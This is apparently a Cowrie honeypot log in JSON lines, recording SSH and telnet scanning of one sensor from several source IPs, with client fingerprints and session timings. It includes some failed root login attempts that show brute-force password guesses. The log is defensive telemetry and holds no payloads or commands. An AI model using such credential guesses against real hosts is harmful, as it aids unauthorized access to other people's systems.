{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":61075,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e40aa231492","protocol":"ssh","message":"New connection: 223.197.186.7:61075 (159.203.135.109:22) [session: 6e40aa231492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.487037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.495735Z","src_ip":"223.197.186.7","session":"6e40aa231492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.717588Z","src_ip":"223.197.186.7","session":"6e40aa231492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79083776473999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.056478Z","src_ip":"94.23.76.26","session":"a8f7e7f31391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893370389938354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.086905Z","src_ip":"94.23.76.26","session":"eb592791f2de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995718955993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.280378Z","src_ip":"35.187.38.22","session":"1ec703455886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962308645248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.292237Z","src_ip":"35.187.38.22","session":"3bba4fa44e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55388,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a85264a9885","protocol":"telnet","message":"New connection: 94.23.76.26:55388 (159.203.135.109:23) [session: 4a85264a9885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.357373Z"}
{"eventid":"cowrie.session.closed","duration":35.24952983856201,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.424654Z","src_ip":"46.4.8.162","session":"dee3d45e5d3b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd!@","message":"login attempt [root/123qweasd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.662943Z","src_ip":"223.197.186.7","session":"6e40aa231492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55394,"dst_ip":"159.203.135.109","dst_port":23,"session":"572fa561120b","protocol":"telnet","message":"New connection: 94.23.76.26:55394 (159.203.135.109:23) [session: 572fa561120b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:16.829491Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48098,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa17e09557e","protocol":"telnet","message":"New connection: 46.4.8.162:48098 (159.203.135.109:23) [session: 4aa17e09557e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:17.130656Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55404,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd70f16522a9","protocol":"telnet","message":"New connection: 94.23.76.26:55404 (159.203.135.109:23) [session: dd70f16522a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:17.394094Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55412,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b05887f80f3","protocol":"telnet","message":"New connection: 94.23.76.26:55412 (159.203.135.109:23) [session: 7b05887f80f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:17.626366Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:17.882472Z","src_ip":"223.197.186.7","session":"6e40aa231492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89422059059143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:18.260692Z","src_ip":"35.187.38.22","session":"19064ee3b90b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"827e54b943b8","protocol":"telnet","message":"New connection: 94.23.76.26:55424 (159.203.135.109:23) [session: 827e54b943b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:18.855819Z"}
{"eventid":"cowrie.session.closed","duration":30.20412039756775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:19.134735Z","src_ip":"94.23.76.26","session":"1135bb916855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":44698,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e809f922912","protocol":"ssh","message":"New connection: 103.148.100.146:44698 (159.203.135.109:22) [session: 5e809f922912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:19.712224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:19.720199Z","src_ip":"103.148.100.146","session":"5e809f922912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:19.981775Z","src_ip":"103.148.100.146","session":"5e809f922912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66270351409912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:20.076224Z","src_ip":"75.119.159.60","session":"73533dfc40cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027839183807373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:20.143497Z","src_ip":"217.156.123.93","session":"033b39405fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48104,"dst_ip":"159.203.135.109","dst_port":23,"session":"45894e93f4e0","protocol":"telnet","message":"New connection: 46.4.8.162:48104 (159.203.135.109:23) [session: 45894e93f4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:20.922652Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password4321","message":"login attempt [root/Password4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.052404Z","src_ip":"103.148.100.146","session":"5e809f922912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.802894353866577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.056423Z","src_ip":"94.23.76.26","session":"e10589652b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48112,"dst_ip":"159.203.135.109","dst_port":23,"session":"22b0df5d2126","protocol":"telnet","message":"New connection: 46.4.8.162:48112 (159.203.135.109:23) [session: 22b0df5d2126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.163773Z"}
{"eventid":"cowrie.session.closed","duration":30.96091365814209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.210411Z","src_ip":"94.23.76.26","session":"1764b88dab0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55426,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7177a66d7b1","protocol":"telnet","message":"New connection: 94.23.76.26:55426 (159.203.135.109:23) [session: d7177a66d7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.248833Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55432,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab459907d6a0","protocol":"telnet","message":"New connection: 94.23.76.26:55432 (159.203.135.109:23) [session: ab459907d6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.284530Z"}
{"eventid":"cowrie.session.closed","duration":35.819610357284546,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.319276Z","src_ip":"46.4.8.162","session":"aa316a669169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"146ebc6468ed","protocol":"telnet","message":"New connection: 46.4.8.162:48122 (159.203.135.109:23) [session: 146ebc6468ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.549649Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55434,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb215f106ea1","protocol":"telnet","message":"New connection: 94.23.76.26:55434 (159.203.135.109:23) [session: bb215f106ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.581299Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48130,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4e022cf20b2","protocol":"telnet","message":"New connection: 46.4.8.162:48130 (159.203.135.109:23) [session: b4e022cf20b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:21.869371Z"}
{"eventid":"cowrie.session.closed","duration":30.762450218200684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.050418Z","src_ip":"94.23.76.26","session":"03fb22ec77e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804384231567383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.054002Z","src_ip":"94.23.76.26","session":"3cefeb2c698a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64790320396423,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.083068Z","src_ip":"46.4.8.162","session":"b9587644e41f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77744483947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.089711Z","src_ip":"75.119.159.60","session":"722eac15870d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54844641685486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.110382Z","src_ip":"75.119.159.60","session":"9bfd1d666d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48120,"dst_ip":"159.203.135.109","dst_port":23,"session":"57a249ce79d3","protocol":"telnet","message":"New connection: 46.4.8.162:48120 (159.203.135.109:23) [session: 57a249ce79d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.299954Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:22.328612Z","src_ip":"103.148.100.146","session":"5e809f922912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.989383935928345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:23.042132Z","src_ip":"94.23.76.26","session":"a0f52afd13f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78693699836731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:23.063519Z","src_ip":"94.23.76.26","session":"8ad61038ea32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b53b42c71f6a","protocol":"telnet","message":"New connection: 94.23.76.26:55444 (159.203.135.109:23) [session: b53b42c71f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:23.661437Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37998,"dst_ip":"159.203.135.109","dst_port":23,"session":"674fda85ecd3","protocol":"telnet","message":"New connection: 46.4.8.162:37998 (159.203.135.109:23) [session: 674fda85ecd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:23.780929Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38006,"dst_ip":"159.203.135.109","dst_port":23,"session":"47cb27329d4a","protocol":"telnet","message":"New connection: 46.4.8.162:38006 (159.203.135.109:23) [session: 47cb27329d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:24.240834Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55460,"dst_ip":"159.203.135.109","dst_port":23,"session":"37d4c2c6608f","protocol":"telnet","message":"New connection: 94.23.76.26:55460 (159.203.135.109:23) [session: 37d4c2c6608f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:24.489757Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7316c54a7575","protocol":"telnet","message":"New connection: 46.4.8.162:38020 (159.203.135.109:23) [session: 7316c54a7575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:24.497450Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38032,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac73f509e8a","protocol":"telnet","message":"New connection: 46.4.8.162:38032 (159.203.135.109:23) [session: 7ac73f509e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:24.704746Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38040,"dst_ip":"159.203.135.109","dst_port":23,"session":"7799f5ee019a","protocol":"telnet","message":"New connection: 46.4.8.162:38040 (159.203.135.109:23) [session: 7799f5ee019a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:24.832662Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55472,"dst_ip":"159.203.135.109","dst_port":23,"session":"239ebe1ae82d","protocol":"telnet","message":"New connection: 94.23.76.26:55472 (159.203.135.109:23) [session: 239ebe1ae82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:25.249739Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38046,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62222cd278a","protocol":"telnet","message":"New connection: 46.4.8.162:38046 (159.203.135.109:23) [session: c62222cd278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:25.347436Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":48760,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f03b71af47","protocol":"telnet","message":"New connection: 35.187.38.22:48760 (159.203.135.109:23) [session: 38f03b71af47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:25.353010Z"}
{"eventid":"cowrie.session.closed","duration":30.755486965179443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:26.062406Z","src_ip":"75.119.159.60","session":"5ff362d54072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35816,"dst_ip":"159.203.135.109","dst_port":23,"session":"d34ec6ddc37b","protocol":"telnet","message":"New connection: 94.23.76.26:35816 (159.203.135.109:23) [session: d34ec6ddc37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:26.211408Z"}
{"eventid":"cowrie.session.closed","duration":30.83461594581604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:27.063154Z","src_ip":"75.119.159.60","session":"816ea929d4a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35824,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b2cbb61513","protocol":"telnet","message":"New connection: 94.23.76.26:35824 (159.203.135.109:23) [session: 96b2cbb61513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:27.201701Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"f10510885c85","protocol":"telnet","message":"New connection: 75.119.159.60:33152 (10.17.0.5:23) [session: f10510885c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:27.353235Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1662400f355","protocol":"telnet","message":"New connection: 94.23.76.26:35840 (159.203.135.109:23) [session: b1662400f355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:27.805230Z"}
{"eventid":"cowrie.session.closed","duration":36.715566635131836,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:27.877559Z","src_ip":"188.166.220.49","session":"c8c40b618618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8699688911438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:28.103047Z","src_ip":"94.23.76.26","session":"792411aa8a5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61951470375061,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:28.108069Z","src_ip":"217.156.123.93","session":"70e3c0a910f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":52918,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2cc329235f9","protocol":"telnet","message":"New connection: 35.187.38.22:52918 (159.203.135.109:23) [session: c2cc329235f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:28.339503Z"}
{"eventid":"cowrie.session.closed","duration":32.97379207611084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:28.709872Z","src_ip":"46.4.8.162","session":"da346a746719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05591130256653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:28.714968Z","src_ip":"94.23.76.26","session":"9279d2d8bbfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588955879211426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.050108Z","src_ip":"94.23.76.26","session":"48da9b046ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653359413146973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.128500Z","src_ip":"94.23.76.26","session":"b82432975324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35852,"dst_ip":"159.203.135.109","dst_port":23,"session":"39d628a7b9db","protocol":"telnet","message":"New connection: 94.23.76.26:35852 (159.203.135.109:23) [session: 39d628a7b9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.198545Z"}
{"eventid":"cowrie.session.closed","duration":30.94031810760498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.236917Z","src_ip":"35.187.38.22","session":"44bfd07a0ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956676721572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.241792Z","src_ip":"35.187.38.22","session":"f53fd4040e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":54414,"dst_ip":"159.203.135.109","dst_port":23,"session":"5704088ee463","protocol":"telnet","message":"New connection: 35.187.38.22:54414 (159.203.135.109:23) [session: 5704088ee463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.303864Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":55744,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb1e0eb85d9","protocol":"telnet","message":"New connection: 35.187.38.22:55744 (159.203.135.109:23) [session: 7fb1e0eb85d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:29.950563Z"}
